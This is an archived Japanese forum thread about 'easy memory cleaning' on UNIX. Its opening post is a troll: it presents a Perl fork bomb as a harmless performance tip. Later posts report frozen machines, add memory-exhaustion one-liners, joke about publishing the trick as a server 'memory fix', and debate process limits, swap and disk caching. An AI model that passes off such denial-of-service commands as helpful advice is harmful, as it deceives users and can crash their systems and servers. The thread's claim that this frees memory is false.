トップページunix
659コメント171KB

簡単!メモリクリーニング

■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
0207名無しさん@お腹いっぱい。NGNG
死ね>>206
0208名無しさん@お腹いっぱい。NGNG
・リソース制限かかっていないプロバイダのサーバー
・プロバイダのサーバーのメモリ不足解消CGIと言って公開する厨房
・それを便利でスゲェと思って使う厨房
3つそろったら最強だな。
0209名無しさん@お腹いっぱい。NGNG
そんなに褒められても困ります
0210名無しさん@お腹いっぱい。NGNG
連打する意味がわからん。
0211名無しさん@お腹いっぱい。NGNG
linux では >151 の
/proc/sys/kernel/threads-max
が結論だろ
0212名無しさん@お腹いっぱい。NGNG
>>205
で、plan9でやった結果はどうだったんだ?
0213名無しさん@お腹いっぱい。NGNG
しらん。
rootとが神云々とか言ってたから
plan9ひっぱりだしてきただけだ
エーン
0214名無しさん@お腹いっぱい。NGNG
Unix系のOSにはプロセスが限界を超えるまで増えたら古いプロセスから順にkillするという実装があったような....
0215名無しさん@お腹いっぱい。NGNG
> プロセスが限界を超える
とりあえずこれ説明してみて
0216名無しさん@お腹いっぱい。NGNG
ということは、initから殺されるわけですな
0217212NGNG
>>213
つまり、plan9と言ってみたかっただけなのね。
plan9にはUnixのrootのようなすべてをつかさどるrootという概念が存在しないだけで
memoryを自由に使えるような権限のユーザーでやれば結果は同じのような気がするが。
0218名無しさん@お腹いっぱい。NGNG
>>216
すまそ。
古いではなく使われていないだった。
swap outされてるやつから順にkillされていく。

>>215
表現が悪かったね。
processes poolで確保されている量を越えてprocessが作られることを言いたかったわけだけれど。
0219名無しさん@お腹いっぱい。NGNG
>>216
それらしい現象をソラリスでみたことがある。
ただしroot じゃなかったが。
0220名無しさん@お腹いっぱい。NGNG
>>218
それはメモリ(物理+仮想)食いつぶした時の動作じゃないか?
メモリ馬鹿食いするプロセス動かしたらXサーバーがkillされちゃった
みたいな。
0221名無しさん@お腹いっぱい。NGNG
FreeBSDかNetBSDがランダムにプロセス殺すって記事は見たことあるけど
プロセスの重要度なんてカーネルは知らんからね
0222名無しさん@お腹いっぱい。NGNG
Gentoo(gentoo-sources 2.4.20-r5 参考 ttp://www.gentoo.org/doc/ja/gentoo-kernel.xml)
では一般ユーザではとくに問題なし。
ストレス無くブラジング出来るし、デーモンも死なない。(ちなみにいま実行しながら入力してます)
止めたくなったらrootでログインして(そのままだとfork failed: リソースが一時的に利用できません となるので)
# killall perl
でOK。

ただrootでやったときはデーモン等は死なないものの、ほとんど固まってしまって
さらに終了させようにもどうにもならなくなったので様子を見て電源ボタンをおしました(泣
0223NGNG
訂正です。
>デーモン等は死なないものの、
途中から確認する術が無くなったので、こう言い切るのは無理がありました。
0224名無しさん@お腹いっぱい。NGNG
なかなか面白いデータの取れるスレですね(w
0225名無しさん@お腹いっぱい。NGNG
横槍でゴメン。
このスレは、彼も応援してるヨ〜ン。
0226名無しさん@お腹いっぱい。NGNG
危機管理
0227名無しさん@お腹いっぱい。NGNG
root で rm -rf / したら全部消えました。は只の大馬鹿者だし
rootで >>1 を動かしたら固まりました、もその仲間ではないか、と。

# sync;sync;sync
0228名無しさん@お腹いっぱい。NGNG
>>227
rootってWindowsのAdministratorよりも格段に危険なことできるからねぇ。
>>1みたいなことをなぜまずrootでやってしまう人がいるのか理解に苦しむ。
いつもrootでログインして、「俺、ミスしないから大丈夫っすよ」と根拠の無い自身を見せつけている人なのかしらん。
0229名無しさん@お腹いっぱい。NGNG
>>228
ユーザをrootしか作ってないとか。
友達でLinuxを家のPCに入れてる奴がそうだった。

大学で3年間UNIX使ってたし、
研究室の慣例で1年間、サーバの管理もやってたはずなんだが…
0230うひひNGNG
>>228-229
でもわかってる香具師はrootでイインジャネーノ?
userにしろrootにしろファイルをパツイチ消しなんて行為は普通しないし
チョイト香ばしいことするときはuserにスイッチするし(うひひ

さすがにモレは素人だから普段はuserで使ってるが
家でも会社でもモレ用のWSには一切passwd入ってねーよ
マンドクセーことはしない
0231名無しさん@お腹いっぱい。NGNG
>>230
ここは釣れませんよ
0232222NGNG
>>224
データを取るためのスレじゃなかったのでしょうか?(笑
0233名無しさん@お腹いっぱい。NGNG
>>230
HPユーザ代表つーことで実験結果よろしくw
0234うひひNGNG
>>233
ペロリっていうのが無いです。どーしようもないでつ
はにゃくメモリクリアしないとスマップもパンクしてしまいそうです
青いヤシでトントンピーとインスツールしたいので緊急に急いでいまつ
おながいしまつ
0235名無しさん@お腹いっぱい。NGNG
(`-´).oO(酔っぱらってやがる…)
0236名無しさん@お腹いっぱい。NGNG
>>229
管理者教育をちゃんと受けてないんじゃないのか?

>>230
いや、わかってないからrootではいっちゃうんだろ。

...というのはつられたことになるのか?
0237名無しさん@お腹いっぱい。NGNG
autologin とか passwd なしは
わかるけど、root で作業というのは違うだろう。
0238名無しさん@お腹いっぱい。NGNG
>>237
root で日常作業できる人って、きっと「完璧な」バックアップとかしてるんだろうね。

まあ、役割としてadmin な人は別かなぁ、いや、admin の上の人がバックアップ体制
敷いてるのかな ?
0239名無しさん@お腹いっぱい。NGNG
漏れは試験鯖つーかいつも遊んでる鯖があるからあえてrootでいじってる
業務鯖でrootはちょいとこわいですな
0240名無しさん@お腹いっぱい。NGNG
おれ>>1は知らんけど>>61みたいなやつを会社の実験サーバで耐久テストして
ハングしたことあるよ。solarisのすぱーくなんとかだかU1だか忘れたけど100Mhzくらいの
ボロいやつで。最近のは知らん。

みんな>>1ばっか報告してるんで>>61試して大丈夫か教えてくれよ。

0241名無しさん@お腹いっぱい。NGNG
おまいがやれ
0242名無しさん@お腹いっぱい。NGNG
┏━━━━━━━━┓
┃********┃
┃********┃
┃********┃
┃***○●***┃
┃***●○***┃
┃********┃
┃********┃
┃********┃
┗━━━━━━━━┛
0243 NGNG
オセロ キタ━━━━━━(゚∀゚)━━━━━━ オヤクソク
0244名無しさん@お腹いっぱい。NGNG
┏━━━━━━━━┓
┃********┃
┃********┃
┃***●****┃
┃***●●***┃
┃***●○***┃
┃********┃
┃********┃
┃********┃
┗━━━━━━━━┛
0245名無しさん@お腹いっぱい。NGNG
なんでネタがなくなるとオセロなんだよぉ〜萎
つーかおまいらがんがんデータ取りやがれ
おながいします。
0246名無しさん@お腹いっぱい。NGNG
取るとどうなるとか、誰か有意にまとめてくれるのかとか、そのへんがわからん。
0247名無しさん@お腹いっぱい。NGNG
有意?にちゃんで?






プ
0248名無しさん@お腹いっぱい。NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○******○┃
┃○**●***○┃
┃○**●●**○┃
┃○**●○**○┃
┃○******○┃
┃○******○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
0249名無しさん@お腹いっぱい。NGNG
>>247は、どんな有意義な事も無意味にしてしまうくらい場が冷める事平気で言う香具師
学校ではいつも独りぼっち
0250名無しさん@お腹いっぱい。NGNG
有意 != 有意義
0251名無しさん@お腹いっぱい。NGNG
linuxのhdparm(8)を見ると、
Dangerous とか extreme caution
という単語がやたら出てくる。
まあDangerousといってもバクハツするわけじゃないだろうし

こういうのを使って
"簡単!ディスククリーニング" は、できないだろうか。
0252名無しさん@お腹いっぱい。NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○******○┃
┃○**●***○┃
┃○**●●**○┃
┃○**●●●*○┃
┃○******○┃
┃○******○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
0253名無しさん@お腹いっぱい。NGNG
>>251
マザーが、より速度の高いDMA(66)とかをサポートしていて
HDDがそれをサポートしてない場合に、HDDの限界を越える設定をすると
HDDが逝くかもね。 ためしてないからわからんが、勇者がいればやってくれ。
0254名無しさん@お腹いっぱい。NGNG
Linux 2.4.20-gentoo-r5でユーザー権限にて>>1を試すと、、、

で2秒くらいでマウスがアボーン、その直後からキーボードによる再起動を試みるも
無理。pingを撃ってみようとノートを起動してから撃ってみるとtime out.
しかたなく電源5秒押し。
222さんの報告見て、大丈夫だと思い込んでいたのでちょっとSHOCK!
0255名無しさん@お腹いっぱい。NGNG
制限加えてない状態でやると、そうなるだろうねぇ。
0256名無しさん@お腹いっぱい。NGNG
ユーザ権限で、しかも>>1じゃならんよ。
gentooのpatchがダメなんじゃないの?
0257名無しさん@お腹いっぱい。NGNG
gentooはとんがったもん沢山あててるからなぁ
どれかにマズい不具合がまじってるかもね。
0258名無しさん@お腹いっぱい。NGNG
むしろ、そのノートPCがあやしいかもしれん。
0259名無しさん@お腹いっぱい。NGNG
>254
会社にある6台のLinuxマシンで試したらほぼ同様の結果。
サーバ運用中のマシンでやるなよ
0260名無しさん@お腹いっぱい。NGNG
定量的な考察ができない連中ばかりいるのはこのスレですか?
0261名無しさん@お腹いっぱい。NGNG
>>260
煽りなんだろうけど、いまいち意味がわからない。
0262名無しさん@お腹いっぱい。NGNG
>>1 で落ちない、というだけでは十分ではない。
0263222NGNG
私も2.4.20-gentoo-r5ですけどなんの制限してなくても普通に動作してますよ。

ちなみにi686 Intel(R) Pentium(R) 4 CPU 2.40GHz + メモリ1Gの環境です。

0264名無しさん@お腹いっぱい。NGNG
じゃあ運がよかったんだね。
だが、>>263の運もここまでだった。
まさか、あんなことになるなんて・・・
0265222NGNG
運?

とりあえず>>1みたいにforkせずとも以下のコマンドで見事にお亡くなりになる事は確認しました。
しかもこっちの方がメモリクリーニングっぽい。
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
0266訂正NGNG
ループ関係なく
${"tmp".$i}=[0..100000000]
だけで死んだみたいです。
0267名無しさん@お腹いっぱい。NGNG
それはもうこのスレとは無関係の固有問題かと
0268名無しさん@お腹いっぱい。NGNG
>>265
FreeBSD-CURRENTですが、一瞬で
Out of memory!
とでるだけで何も起きません。

一桁減らして
  perl -e '${"tmp".$i}=[0..10000000] while ($++i)'
にしてみるとしばらくの間重くなったけど正常に終了。
0269名無しさん@お腹いっぱい。NGNG
perl -e '${"tmp".$i}=[0..100000000] while ($++i)'
Out of memory!

gentooでも同じく。
よくわからないんだけど、これは一体なにをしてるんだ?
0270222NGNG
0,1,2,...という値が入った100000000個の要素を持つ配列を永遠に作り続ける
という物です。(($++i)は(++$i)の間違いでした)実際には以下のもので代用可能です。
perl -e '@tmp = (0..100000000);'

ちなみに家の場合0を一つ増やして
perl -e '@tmp = (0..1000000000);
とするとちゃんとOut of memory!と出てくれます。
0271名無しさん@お腹いっぱい。NGNG
結局>>1のプロセス食い潰しか
>>270のスワップ食い潰し
くらいしか案が出ないのか。

Win2kでも試してみたが、やっぱり資源が尽きるとダメだな。
LinuxとFreeBSDでも制限かけてない状態で資源食い潰すようになるとダメだめだ。
と、ここまではプロセスの話。

メモリとスワップの食い潰しは制限できるもんだろうか?
Win2kと、Linux、FreeBSD共に数秒後、HDDがガリガリ言いだして
放置しておくとと固まってるな。 やはり基本的に「スワップはったら負け」なんだろうか。
2kの方は、ページングファイル固定にしとくと、寿命が決定される。
可変にしとくと、HDD満タンになるまでガリガリ言ってるな。
満タンになったら氏んだ。
その間、作業らしい作業はできなかった。どのOSでもね。

FreeBSDのやりかたわからんけど、Linuxの方はAlt+SysRqで復旧は可能です。
Windowsは何もできなくなって、電源OFFしますた。
0272名無しさん@お腹いっぱい。NGNG
メモリは普通にlimitがかけられるじゃん。でもswapはだめげ?
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....

ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
0273名無しさん@お腹いっぱい。NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
0274名無しさん@お腹いっぱい。NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
0275名無しさん@お腹いっぱい。NGNG
minfree近所まで減ったらOSが勝手にやってくれるのに・・・

なんでいちいちンなこと実行するんですか?
0276名無しさん@お腹いっぱい。NGNG
ここに真面目なひとが....
0277名無しさん@お腹いっぱい。NGNG
× 真面目な
○ 空気を読む神経回路が備わってない
0278tatibanaNGNG
>>150
失礼ですね
どこの誰かもわからない低能と一緒にしないでいただきたい
0279あぼーんNGNG
あぼーん
0280名無しさん@お腹いっぱい。NGNG
結局カーネルとかいじらないで簡単安全メモリクリーニングってできないの?
0281名無しさん@お腹いっぱい。NGNG
メモリクリーニングするといいことあるの?
0282名無しさん@お腹いっぱい。NGNG
勝手にディスクキャッシュにメモリ使われるのうざいからどうにかしたいんだよね。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
0283名無しさん@お腹いっぱい。NGNG
>>282
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
0284あぼーんNGNG
あぼーん
0285あぼーんNGNG
あぼーん
0286名無しさん@お腹いっぱい。NGNG
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
0287名無しさん@お腹いっぱい。NGNG
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
0288名無しさん@お腹いっぱい。NGNG
なんか妙なメモリ観が出たな。おもしろいから発展させてよ
0289名無しさん@お腹いっぱい。NGNG
まさにドズという欠陥OSとそのアプリがもたらした電波だな。
0290 NGNG
犬板で割とよくある質問

----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS

freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。

そんなコマンドはないの?

くだらねえ質問はここに書きこめ! Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177
0291名無しさん@お腹いっぱい。NGNG
>>289
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。

ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
0292名無しさん@お腹いっぱい。NGNG
>>291
漏れはむしろ、

MS-DOSの640KBの壁に、チャレンジしてて、そのまんま来ちゃった人

だと思うのだがどうだ?
0293名無しさん@お腹いっぱい。NGNG
>>292
むしろ古参の技術者に洗脳された口と見た。
チャレンジしていたような世代が今ごろ犬使うか?

メモリー開放伝説はsync;halt伝説とかfinal method伝説とかと同じ類だな。
0294名無しさん@お腹いっぱい。NGNG
俺もディスクキャッシュやめさせたい。ていうか減らしたい。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
0295名無しさん@お腹いっぱい。NGNG
>>294
malloc() すればぁ。実装によってはデータ埋めてやらないと
いけないかも。cmalloc() だとどうかな
0296名無しさん@お腹いっぱい。NGNG
cmalloc
0297名無しさん@お腹いっぱい。NGNG
cmallocってC言語・・・?
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね?
0298名無しさん@お腹いっぱい。NGNG
あはは
0299あぼーんNGNG
あぼーん
0300あぼーんNGNG
あぼーん
0301名無しさん@お腹いっぱい。NGNG
埋めるのなんざmemsetで一発だろ
0302名無しさん@お腹いっぱい。NGNG
free(calloc(N,1));
0303あぼーんNGNG
あぼーん
0304名無しさん@お腹いっぱい。NGNG
>>297
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。

0305名無しさん@お腹いっぱい。NGNG
memsetとかallocとかいってるヤシ・・・

ネタだよね?
0306名無しさん@お腹いっぱい。NGNG
>>294
> 実メモリの空きしか見てないどうしようもないソフトがあって。
キャッシュも見るようにおながいしてみれば?
■ このスレッドは過去ログ倉庫に格納されています